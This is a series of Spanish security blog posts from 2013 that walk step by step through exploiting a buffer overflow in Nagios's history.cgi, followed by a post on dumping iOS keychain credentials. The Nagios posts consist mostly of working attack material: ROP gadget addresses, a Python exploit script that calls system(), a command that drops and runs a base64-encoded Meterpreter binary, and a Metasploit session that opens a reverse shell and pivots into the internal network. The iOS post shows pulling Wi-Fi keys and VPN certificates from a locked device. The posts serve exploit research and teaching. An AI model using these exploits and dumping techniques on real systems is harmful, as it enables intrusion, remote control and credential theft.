miércoles, 23 de enero de 2013

Explotando Nagios paso a paso (y III)

Hace un par de días dejábamos ESTE post sobre la explotación del history.cgi de Nagios con que habíamos conseguido todos los gadgets necesarios pero nos faltaba encontrar la dirección de la función unescape, así que... allá vamos!

Si queremos saber la dirección de una función y esta no está referenciada de ninguna forma, tenemos siempre la opción de mirar en el binario que explota el exploit original y ver que secuencia de acciones realiza, para intentar buscar en nuestro binario el mismo patrón. No es recomendable buscar una secuencia exacta de bytes, ya que los diferentes compiladores e incluso el mismo compilador si se han empleado otras opciones, realiza diferentes optimizaciones de código que puede llevarnos a que el mismo código fuente, en dos compilaciones diferentes, resulte en código binario ligeramente diferente, así que vamos a tener que ser un poco más... "sutiles".

En este caso, por ser Nagios un producto Open Source, tenemos la suerte de poder bajarnos el código fuente y buscar la función a la que hace referencia el autor del exploit. Lamentablemente, si hagamos un grep por el nombre "cgi_input_unescape", veremos que no existe esa función, pero si somos un poco avistados y ponemos "unescape" sí que encontramos una función llamada "unescape_cgi_input". La función tiene pinta de ser la misma, así que probablemente el autor escribió de cabeza el nombre y le fallo la memoria (a mi me ha pasado lo mismo miles de veces). El caso es que, después de hacer un poco de grep, encontramos el código fuente de la función, que tiene una pinta así:


Evidentemente, como comentábamos antes, no tenemos ni idea de como se van a traducir estas lineas a código binario, pero sí que podemos estar seguro de una cosa: que la función va a tener exactamente DOS llamadas a función, una de ella a strlen, y otra de ellas a una función interna del binario de la que seguramente no veremos el nombre. Así que... ¿qué tal si empezamos por buscar todas las llamadas a strlen y nos quedamos con aquellas funciones en las que aparezca EXACTAMENTE una vez? Sería un buen comienzo. En este caso, me resulta más cómodo utilizar IDA y su opción "Jump -> List cross references to" para poder ver de un vistazo si se encuentran en la misma función o no, así que vamos a ello:


Al final nos quedaban unas pocas referencias a funciones que contienen un único "call _strlen", así que esas las podemos inspeccionar a mano a ver si pegan o no con la función que buscamos, hasta que encontramos esta la función sub_804C260 (0x0804c260):


Sin controlar mucho de reversing, solo fijándonos en las llamadas, vemos que esta tiene todas las papeletas para ser nuestra función, ya que tiene únicamente dos llamadas, una de ellas a _strlen y otra a una función interna del binario. Po supuesto, esto lo hemos podido hacer a mano porque había pocas funciones que cumplieran el requisitos de que solo se llamada a _strlen una vez. Si hubiera sido de otra manera tendríamos que habernos hecho un pequeño programita, pero lo hubiéramos podido sacar igualmente.

Así que, después de la jugada, parece que tenemos todo lo que necesitamos para explotar la vulnerabilidad. Vamos a intentar intentar usar esta vulnerabilidad para hacer un simple ping a 127.0.0.1:

$ cat exploit.py
#!/usr/bin/python

stackspace=0xc43
cmd="ping -c5 127.0.0.1;"
cmd = cmd.replace(" ", "${IFS}")

unescape_addr='\x60\xc2\x04\x08'
popret_addr='\x04\x8f\x04\x08'
hostbuf_addr='\x60\x9b\x07\x08'
system_plt_addr='\xb0\x8b\x04\x08'
exit_addr='\x70\x8e\x04\x08'
rop_chain = unescape_addr+popret_addr+hostbuf_addr+system_plt_addr+exit_addr+hostbuf_addr

stackspace=stackspace-len(cmd)
exploit=cmd+'A'*stackspace+rop_chain

print exploit

Con este script, básicamente estamos fusilando lo que hacía el autor original del exploit pero cambiando las direcciones por las que acabamos de averiguar. Por hacer una explicación rápida, vamos a tener el comando que queramos seguido de ';', para que las A's que vendrán después no nos fastidien el comando, sino que se tomen como un segundo comando que, evidentemente, no existirá, pero eso nos da igual. Después, dado que el espacio en blanco puede resultar problemático al ser transmitido por HTTP, lo substituimos por la variable de entorno ${IFS}, que por defecto es... precisamente el espacio en blanco. Luego le ponemos un montón de A's hasta llegar a la dirección de retorno de la función el ROP que hemos ido comentando, y el resultado es...

$ export REMOTE_USER='nagiosadmin'
$ export REQUEST_METHOD='GET'
$ export QUERY_STRING="host=`python exploit.py`"
$ /usr/local/nagios/sbin/history.cgi
[...]

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.045 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.065 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.065 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.061 ms
64 bytes from 127.0.0.1: icmp_seq=5 ttl=64 time=0.063 ms

--- 127.0.0.1 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 3999ms
rtt min/avg/max/mdev = 0.045/0.059/0.065/0.012 ms
sh: AAAAA[...]AAAAAAA: command not found

Perfecto! Ya estamos consiguiendo ejecutar comandos explotando la vulnerabilidad. Ahora solo nos queda... ejecutar un Meterpreter! Por supuesto! Podríamos elegir subir el fichero de muchas maneras, pero que es más probable que funcione es hacerlo a través de la propia vulnerabilidad, haciendo un "echo" del contenido del binario y almacenándolo en un fichero que luego ejecutaremos. El primer problema es que un binario tiene caracteres que nos vamos a poder transmitir haciendo un "echo", así que vamos a trasmitir nuestro binario en base64 y vamos a descodificarlo en destino con el comando "base64", que es bastante estándar en los sistemas Unix. Os lo voy enseñando como si fuera en local, pero todo esto lo introduciríamos en lugar del ping anterior:

$ echo f0VMRgEBA[...]Yt4+TP7QQF | base64 -d

Ahora tendremos que guardar este binario en un fichero, pero los símbolos mayor y mayor nos van a dar algún problemilla, así que vamos a usar el comando "tee", que saca el resultado por pantalla (lo cual nos da igual), pero también lo guarda a un fichero:

echo f0VMRgEBA[...]Yt4+TP7QQF | base64 -d | tee /tmp/meter.bin

Solo nos quedará añadir algunos comandos para darle permisos de escritura a este binario, ejecutarlo, y acabar borrándolo para dejar el sistema limpito:

echo f0VMRgEBA[...]Yt4+TP7QQF | base64 -d | tee /tmp/meter.bin ; chmod 700 /tmp/meter.bin ; /tmp/meter.bin ; rm -f /tmp/meter.bin

Pues ya está! Ha costado pero hemos conseguido ejecutar lo que queramos en la máquina a través de la vulnerabilidad. Con todo esto, portándolo a ruby, y con la inestimable ayuda de Juan Vazquez... tenéis el módulo de Metasploit, como comentábamos AQUÍ.

Si jugando con este exploit obtenéis nuestros targets, os animo a que reporteis vuestro módulo mejorado a Rapid7, para que todos podamos beneficiarnos de él.

Y colorín colorado, el exploiting de Nagios se ha acabado :)

lunes, 21 de enero de 2013

Explotando Nagios paso a paso (II)

Hace unos días, en ESTE post nos quedábamos con que habíamos averiguado que tenemos 3139 bytes de espacio entre el inicio del buffer que podemos desbordar y la dirección de retorno de la función, pero nos faltaba ver que podemos sobreescribir en esta dirección.

Lo clásico sería haber dejado en este espacio un shellcode y buscar un trampolín (trampoline) en el código, que básicamente es una instrucción pop-ret, ret o jmp, o cualquier otra que lleve el puntero de ejecución hasta la pila. Sin embargo, desde que surgieron los sistemas NX (no-execution) la cosa es un poco más complicada, ya que no se permite ejecutar código que se encuentre en la pila. La alternativa que tenemos es ejecutar nuestro shellcode en ROP (Return Oriented Programming):


Para ejecutar una secuencia de acciones codificadas en ROP, necesitamos usar no solo la dirección de retorno de la función vulnerable, sino también las de las funciones "padre" de esta. Como sabéis, en los procesadores de Intel, al llamar a una función se almacenan en la pila una serie de valores, entre los que están los parámetros que se le pasan y la dirección de retorno a la función anterior. Al comenzar su ejecución, los parámetros de la función son recuperados de la pila y utilizados. Cuando esa función acaba, se desapilan todos estos valores y se devuelve la ejecución al mismo punto donde estaba antes de realizar la llamada. De esta forma, cuando tenemos una función que a su vez llama a otra, que a su vez llama a otra, lo que vamos a tener en la pila es una secuencia de parámetros y direcciones de retorno.

Sabiendo esto, podemos entender más fácilmente que lo que pretendemos con un ROP es cambiar el contenido de la pila de tal forma que "engañemos" al procesador, para que en lugar de volver la ejecución a la función llamante y continuar su ejecución, salte a una nueva función, para la cual ya habremos dejado sus parámetros preparados en la pila.

Programar un payload en ROP no es tarea sencilla, sobretodo si el sistema tiene ASLR (Address Space Layout Randomization), que básicamente lo que hace es reordenar la dirección de memoria en la que se cagan las librerías y, en algunos sistemas y si el binario ha sido compilado adecuadamente, hasta el propio código principal del binario. En este caso, el autor original del exploit utilizó funciones que se encontraban dentro del propio binario:


Como explica el propio autor en los comentarios de su exploit, utiliza la función cgi_input_unescape() para deshacer el URL Encode que se produce al transmitir la cadena a través de HTTP. Luego salta a un Pop-Ret, que es necesario para quitar la dirección de nuestro buffer de la pila y dejarla preparada para realizar la siguiente llamada a system(), que ejecutará la secuencia de comandos que le hayamos metido en el parámetro "host". El autor la llama "system_plt" porque es un símbolo que se encuentra dentro de la sección PLT (Procedure Linkage Table) del binario. Por último, realiza un salto a la función 0xdeafbabe, que es una dirección inventada, pero que nos da un poco igual, porque en este momento ya habremos conseguido la ejecución de código.

Pero claro, esto es para el binario compilado en Debian ¿estará todo en el mismo sitio en el binario con el que estamos trabajando ahora? La respuesta es que... ojalá! pero no vamos a tener tanta suerte, así que vamos a tener que buscar estas funciones por nosotros mismos. Lo más fácil de encontrar son las direcciones a system() o a exit(), que la vamos a utilizar para ser un poco más... limpios. Para ello únicamente tenemos que usar radare (o gdb, o IDA, ...) para volcar los "imports" del binario, y nos encontramos algo así:

rabin2 -i /usr/local/nagios/sbin/history.cgi
[Imports]
[...]
addr=0x08048bb0 off=0x00000bb0 ordinal=016 hint=000 bind=GLOBAL type=FUNC name=system
addr=0x08048e70 off=0x00000e70 ordinal=060 hint=000 bind=GLOBAL type=FUNC name=exit
[...]

60 imports

OK! Dos conseguidos, nos quedan tres más. Vamos a por el Pop-Ret, que tampoco debería ser muy complicado. Para encontrar este tipo de gadgets en el código hay un montón de herramientas diferentes, que no sabría deciros si una funciona mejor que las demás. Yo voy a usar las herramientas de Metasploit porque es con lo que estoy más familiarizado, pero podéis ver AQUÍ como se podría buscar lo mismo con otras herramientas.

$ cd /opt/msf4/
$ ./msfelfscan -p /usr/local/nagios/sbin/history.cgi
[history.cgi]
0x08048f03 pop ebx; pop ebp; ret
[...]

La herramienta de Metasploit me permite buscar un Pop-Pop-Ret, pero yo solo necesito un Pop-Ret, así que es tan sencillo como coger la dirección del segundo Pop, y así quedarnos con Pop-Ret, osea, la 0x08048f04. Tres conseguidos! Vamos a por el cuarto!

Nos queda la dirección del propio buffer donde se almacena el valor de host, y el de la función unescape(). Como esta segunda no aparecía en los imports ni hemos visto ninguna referencia a ella, vamos a ir a por el buffer que debería ser más fácil. Solo tenemos que utilizar una cadena reconocible (muchas 'A's, por ejemplo) y luego buscarlas en la memoria cuando se haya producido el fallo de segmentación. Podemos hacerlo, por ejemplo, con radare:

export QUERY_STRING="host=`python -c \"print 'A'*4000\"`"
$ r2 -d /usr/local/nagios/sbin/history.cgi
[0x00f72850]> dc
[...]
trace_pc: cannot get opcode size at 0x41414141
[R2] Breakpoint recoil at 0x41414141 = 0
r_debug_select: 19598 0
[0x41414140]> s 0x0
[0x00000000]> /x 4141414141414141
[ #]0x0a295800 < 0xffffffffffffffff  hits = 1207

hits: 1207
0x08079b60 hit2_0 41414141414141414141414141414141
[...]

Genial! Parece que tenemos todo lo que necesitamos salvo la función unescape() pero, como decía, esta no aparece referenciada (o al menos yo no la he visto) en ninguna parte del binario, así que vamos a tener que hacer una búsqueda un poco más... a medida. Pero eso en el próximo post.

viernes, 18 de enero de 2013

Explotando Nagios paso a paso (I)

Si leísteis el post de AYER, sabéis que el fin de semana pasado estuve jugando con el último exploit de Nagios y, con la ayuda de gente del equipo de Rapid7, lo porté a Metasploit y ya lo tenéis disponible para descarga. Todo esto ya lo sabíais, pero también es comentaba que pondría un par de posts más contando los detalles del exploit, así que allá vamos.

La vulnerabilidad, según está documentado, se trataría de un Buffer Overflow en el parámetro "host" del binario "history.cgi", que se podría explotando haciendo algo como:

http://nagios.pentester.es/nagios/cgi-bin/history.cgi?host=AAAAAAAAAAAA...

Sin embargo, depurar el fallo para intentar explotarlo haciendo la llamada de esta manera es un poco complicado ¿cómo vamos a arrancar la CGI con nuestro debugger favorito así? Por suerte, podemos ejecutar directamente la CGI desde linea de comandos de la misma forma que lo hace el servidor web, pasándole la información de la conexión HTTP recibida a través de variables de entorno. Como mínimo, un CGI debe recibir las variables de entorno REMOTE_USER, REQUEST_METHOD y QUERY_STRING, así que podemos "simular" la llamada anterior haciendo algo así:

$ export REMOTE_USER='nagiosadmin'
$ export REQUEST_METHOD='GET'
$ export QUERY_STRING="host=`python -c \"print 'A'*4000\"`"

$ /usr/local/nagios/sbin/history.cgi 1>/dev/null 
Segmentation fault

Pues parece que sí que es vulnerable ¿no? :) Hay que decir que la función vulnerable solo es llamada si hay algún host o servicio caído, así que antes podríamos visitar la URL para ver si hay alguno o no, y si no hay ninguno podéis forzar que ocurra o buscar el fichero "nagios.log" y escribir algo así:

[1358302857] HOST ALERT: localhost;DOWN;HARD;10;(Return code of 127 is out of bounds - plugin may be missing)

Pero... no todo va a ser tan fácil. El binario ha sido compilado de diferentes maneras por el equipo de desarrollo de Nagios y por los los equipos de desarrollo de las diferentes distribuciones. Por ejemplo, si repetimos la misma operación habiendo instalado el Nagios en un CentOS a través del comando yum, tendremos algo así:

/usr/lib/nagios/cgi-bin/history.cgi 1>/dev/null 
*** buffer overflow detected ***: /usr/lib/nagios/cgi-bin/history.cgi terminated
======= Backtrace: =========
/lib/libc.so.6(__fortify_fail+0x4d)[0xbf07ad]
/lib/libc.so.6(+0xfa7ea)[0xbee7ea]
/lib/libc.so.6(+0xf9f18)[0xbedf18]
/lib/libc.so.6(_IO_default_xsputn+0x13c)[0xb62f4c]
/lib/libc.so.6(_IO_vfprintf+0x4048)[0xb38aa8]
/lib/libc.so.6(__vsprintf_chk+0xa7)[0xbedfc7]
/lib/libc.so.6(__sprintf_chk+0x2d)[0xbedf0d]
/usr/lib/nagios/cgi-bin/history.cgi[0x804a177]
/usr/lib/nagios/cgi-bin/history.cgi[0x804ae44]
/lib/libc.so.6(__libc_start_main+0xe6)[0xb0ace6]
/usr/lib/nagios/cgi-bin/history.cgi[0x8048fc1]
======= Memory map: ========
00478000-00479000 r-xp 00000000 00:00 0          [vdso]
0055a000-00578000 r-xp 00000000 fd:01 130954     /lib/ld-2.12.so
00578000-00579000 r--p 0001d000 fd:01 130954     /lib/ld-2.12.so
00579000-0057a000 rw-p 0001e000 fd:01 130954     /lib/ld-2.12.so
00af4000-00c84000 r-xp 00000000 fd:01 135441     /lib/libc-2.12.so
00c84000-00c86000 r--p 0018f000 fd:01 135441     /lib/libc-2.12.so
00c86000-00c87000 rw-p 00191000 fd:01 135441     /lib/libc-2.12.so
00c87000-00c8a000 rw-p 00000000 00:00 0 
00ef8000-00f15000 r-xp 00000000 fd:01 146344     /lib/libgcc_s-4.4.6-20120305.so.1
00f15000-00f16000 rw-p 0001d000 fd:01 146344     /lib/libgcc_s-4.4.6-20120305.so.1
08048000-0807d000 r-xp 00000000 fd:01 132229     /usr/lib/nagios/cgi-bin/history.cgi
0807d000-0807e000 rw-p 00035000 fd:01 132229     /usr/lib/nagios/cgi-bin/history.cgi
0807e000-08081000 rw-p 00000000 00:00 0 
09d24000-09d45000 rw-p 00000000 00:00 0          [heap]
b7872000-b7875000 rw-p 00000000 00:00 0 
b787e000-b787f000 rw-p 00000000 00:00 0 
bfa26000-bfa3c000 rw-p 00000000 00:00 0          [stack]
Aborted

Como podéis ver, el programa se cierra con un "Buffer Overflow Detected", al contrario de lo que sucedía en nuestro ejemplo anterior. Esto es porque el binario ha sido compilado con las opciones de Fortify que proporciona una capa de seguridad adicional por medio del uso de Stack Cookies y la substitución automática de funciones peligrosas como strcpy por sus equivalentes seguras strncpy, eligiendo un valor adecuado para que no se produjera el desbodardamiento. Por estos motivos, varios investigadores de seguridad han comentado que, en estos casos, la vulnerabilidad NO sería explotable, por lo que vamos a centrarnos en el caso anterior.

Vámonos al binario que nos han compilado el propio equipo de Nagios para su appliance, que parece que nos va a dar más juego. Lo primero que vamos a tener que hacer es determinar cuanto espacio tenemos entre el principio del buffer y la posición de la pila que guarda la dirección de retorno, y que querremos sobreescribir por una nueva que sirva a nuestros oscuros propósitos. Para ello podemos usar una serie de herramientas presentes dentro del directorio "tools" de nuestra instalación de Metasploit que nos generará una serie de caracteres que hará que la dirección de retorno de la función sea sobreescrita por una secuencia de caracteres única, que posteriormente podremos utilizar para determinar en que posición estaba. Vayamos a ello:

$ cd /opt/msf4/tools/
$ ./pattern_create.rb 4000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa[...]c9Fd0Fd1Fd2F

Si ahora utilizamos esta cadena como valor de la variable host y ejecutamos el binario con el gdb, podremos ver algo así:

$ export QUERY_STRING="host=`./pattern_create.rb 4000`"
gdb /usr/local/nagios/sbin/history.cgi
(gdb) run

Program received signal SIGSEGV, Segmentation fault.
0x61453661 in ?? ()

Como podemos ver, hemos recibido un fallo de segmento al intentar acceder a la dirección 0x61453661. Esto es así porque, de toda la cadena de caracteres que comentábamos antes, estos concretamente han sobreescrito la dirección de retorno de la función. Teniendo en cuenta que en x86 los bytes de las direcciones se ordenan en sentido inverso, eso nos dejaría: 0x61 (a) 0x36 (6) 0x45 (E) 0x61 (a). Ahora podríamos buscar esta cadena dentro de la que hemos obtenido antes, pero Metasploit nos da otra herramienta con lo que lo podemos calcular de forma inmediata:

$ ./pattern_offset.rb a6Ea 4000
[*] Exact match at offset 3139

OK, ya sabemos que tenemos que escribir 3139 bytes (0xc43) para alcanzar la dirección de retorno, pero... ¿y que escribimos en ella? Eso ya será otro post :)

jueves, 17 de enero de 2013

Explotando Nagios

Hace unos días, entre las innumerable noticias sobre las vulnerabilidades de Ruby on Rails y Java, y con el Twitter echando humo y convirtiéndose prácticamente en un mono-tema, vi entre el polvo un retweet de HD Moore que decía lo siguiente:


Nagios, para el que no lo conozca, es un software Open Source de monitorización muy extendido en pequeñas y medianas empresas. En muchas ocasiones este tipo de software es el gran olvidado, precisamente porque no son máquinas críticas para el funcionamiento de la empresa, pero no deja de ser un sistema más con un software más, que pueden tener vulnerabilidades que podrían ser explotadas. Además, como es un software utilizado para monitorizar, por definición va a tener que disponer de una visión completa o casi completa de la red, para poder monitorizar todos los servicios. Muchas veces estos sistemas tienen privilegios de acceso a otros equipos, para poder hacer comprobaciones internamente a ellos. Todo esto lo convierte en un objetivo muuuuy jugoso ¿verdad?

El caso es que el mes pasado nos encontrábamos con la publicación de la existencia de un 0-day en el binario "history.cgi" del interface web de Nagios que podría permitir ejecución de código (PUBLICACIÓN), pero no ha sido hasta hace unos pocos días que se publicó en Pastebin el primer exploit funcional, de las manos de blasty. Más tarde este mismo exploit se subiría a exploit-db (AQUÍ).

Y aquí es donde empezó mi diversión del fin de semana. El exploit original parecía ser funcional en Debian 5, según su autor, pero también se decía que era bastante difícil de explotar en la mayoría de plataformas, así que me bajé la máquina virtual que tienen en la propia web oficial de Nagios (AQUÍ), que está basada en CentOS, y me dispuse a ver que tal funcionaba el exploit.

Tras algunas pruebas, que detallaré en dos o tres post más en los que entraré más "al trapo", os presento el módulo de Metasploit que explota la vulnerabilidad, y que podéis encontrar YA actualizando vuestra herramienta del repositorio en el path exploit/unix/webapp/nagios3_history_cgi


Vamos a utilizarlo para explotar la máquina virtual que os comentaba antes, a ver que tal funciona:

msf > use exploit/unix/webapp/nagios3_history_cgi
msf  exploit(nagios3_history_cgi) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
msf  exploit(nagios3_history_cgi) > set RHOST nagios.pentester.es
msf  exploit(nagios3_history_cgi) > set TARGETURI /nagios/cgi-bin/history.cgi
msf  exploit(nagios3_history_cgi) > set LHOST 192.168.1.102

msf  exploit(nagios3_history_cgi) > set USER nagiosadmin
msf  exploit(nagios3_history_cgi) > set PASS nagiosadmin

Si el acceso es sin usuario y contraseña, podéis poner cualquier usuario, no importa. Ahora que lo tenemos configurado, vamos a comprobar que el sistema que tenemos delante es vulnerable:

msf  exploit(nagios3_history_cgi) > check

[*] Checking banner and version...
[*] Web Server banner: Apache/2.2.15 (CentOS)
[*] Nagios version detected: 3.4.1
[-] At least one ALERT is needed in order to exploit
[*] The target service is running, but could not be validated.

Mala suerte. La vulnerabilidad es un buffer overflow en el parámetro "host", pero la función que no comprueba la longitud del buffer solo es llamada si se procesa algún "ALERT" de servicio o host dentro del histórico, así que vamos a tener que esperar a que caiga algo y volver a repetir:

msf  exploit(nagios3_history_cgi) > check

[*] Checking banner and version...
[*] Web Server banner: Apache/2.2.15 (CentOS)
[*] Nagios version detected: 3.4.1
[+] The target is vulnerable.

Perfecto! Parece que este Nagios va a ser vulnerable, así que vamos a probar a lanzar el exploit, a ver como se porta y efectivamente elige el target adecuado:

msf  exploit(nagios3_history_cgi) > exploit

[*] Started reverse handler on 192.168.1.102:4444 
[*] Automatically detecting the target...
[*] Web Server banner: Apache/2.2.15 (CentOS)
[*] Nagios version detected: 3.4.1
[*] Selected Target: Appliance Nagios XI 2012R1.3 (CentOS 6.x)
[*] Sending request to http://nagios.pentester.es:80/nagios/cgi-bin/history.cgi
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1126400 bytes) to 192.168.1.104
[*] Meterpreter session 1 opened (192.168.1.102:4444 -> 192.168.1.104:60735) at Thu Jan 17 01:07:09 +0100 2013

[*] Session created, enjoy!

meterpreter > sysinfo
OS           : Linux localhost.localdomain 2.6.32-279.5.1.el6.i686 #1 SMP Tue Aug 14 21:14:52 UTC 2012 (i686)
Architecture : i686
Computer     : localhost.localdomain
Meterpreter  : x86/linux

BINGO! Ya tenemos shell dentro del sistema. Lamentablemente el servicio corre con privilegios de usuario, pero como hemos dicho podemos usarlo simplemente para redirigir nuestras conexiones hacia los servicios de toda la red interna:

meterpreter > portfwd add -l 2222 -r 192.168.1.12 -p 22
[*] Local TCP relay created: 0.0.0.0:2222 <-> 192.168.1.12:22

Vale, hemos conseguido explotar el Nagios y tenemos acceso, pero claro... la interface web de Nagios es algo que en todas partes se configura como algo interno y no es directamente accesible desde Internet ¿no?


En los próximos posts, más detalles a bajo nivel sobre el exploit y sobro como ampliar el exploit a nuevos objetivos, por si queréis contribuir con ellos.

viernes, 11 de enero de 2013

Data (Un)Protection en iOS

NOTA: Est post lo publiqué hace unos días en el blog de S21sec, pero lo pongo también aquí para tener todos mis posts "juntitos".

Para los que no estén familiarizados con los sistemas iOS: Data Protection es uno de los mecanismos que ofrece Apple para proteger la información crítica que es almacenada internamente en el dispositivo. Su objetivo es evitar que contraseñas, certificados u otro tipo de información sea recuperada de un dispositivo perdido o robado. Para ello, Apple ha creado una serie de clases mediante las cuales es posible cifrar la información de diferentes maneras en función de su necesidad de accesibilidad: 
  • When unlocked: La información se encuentra cifrada con una clave derivada del UID (clave única del dispositivo) y del Passcode elegido por el usuario, por lo que únicamente es accesible después de que el dispositivo haya sido desbloqueado por el usuario. 
  • While locked: No es habitual, pero está pensado para información que deba ser accedida mientras el dispositivo está bloqueado. 
  • After first unlock: Es muy similar a "When unlocked", con la diferencia de que la clave de cifrado, derivada del UID y del Passcode, no es eliminada de la memoria al bloquear el dispositivo. 
  • Always: La información se encuentra cifrada únicamente con el UID, con lo que es posible acceder a ella siempre, pero únicamente desde este dispositivo, ya que el UID es único a cada dispositivo iOS y este no es accesible por software. 
Los desarrolladores son, por lo tanto, responsables de escoger el tipo de protección que quieren para la información de sus aplicaciones. En el caso de la propia Apple, según indican en el documento oficial de seguridad en iOS, estos son los aplicados:


Como sucede siempre, la usabilidad se encuentra reñida con la seguridad, así que nos encontramos con que si queremos permanecer conectados a una Wifi, recibir correo electrónico, recibir mensajes instantáneos, etc, es necesario que sus claves sean accesibles aunque el dispositivo se encuentre bloqueado. Al menos, la accesibilidad "After first unlock" hace que, tras un reinicio, sea necesario introducir el Passcode una primera vez para que esta información se encuentre disponible.

Sin embargo, si un desarrollador no tiene cuidado con la clase elegida, puede encontrarse con que su información podría ser accedida sin necesidad ni tan siquiera de averiguar el Passcode empleado por el usuario. Es el caso, por ejemplo, de los certificados VPN, que como podemos ver les está asignada una accesibilidad "Always", lo cual quiere decir que son accesibles en cualquier momento, aunque nadie haya introducido el Passcode.

Si hemos obtenido el control de un dispositivo iOS, una de las acciones que podemos querer realizar es volcar el contenido del KeyChain, que es donde se almacenan las credenciales, como por ejemplo las de Wifi o los propios certificados de la VPN. Para ello podemos usar la herramienta iphone-dataprotection que debemos ejecutar desde el propio dispositivo, para que este pueda descifrar usando el propio UID:

# ./keychain_dump
Writing 10 passwords to genp.plist
Writing 0 internet passwords to inet.plist
Writing 6 certificates to cert.plist
Writing 3 keys to keys.plist


Esto nos va a devolver toda la información a la que podemos acceder en nuestra situación actual. En este caso se trata de un iOS que se encuentra bloqueado con Passcode, pero que ya ha sido desbloqueado una primera vez, así que si buscamos en los ficheros plist generados podremos ver, como comentábamos antes, algunos certificados VPN e incluso claves como puedan ser las claves de las Wifis a las que ha estado conectado:


Esto es todo lo que podemos obtener SIN conocer el Passcode del usuario pero... ¿y si podemos averiguarlo? ¿y si el usuario ha elegido un Passcode demasiado trivial? Eso ya será otro post.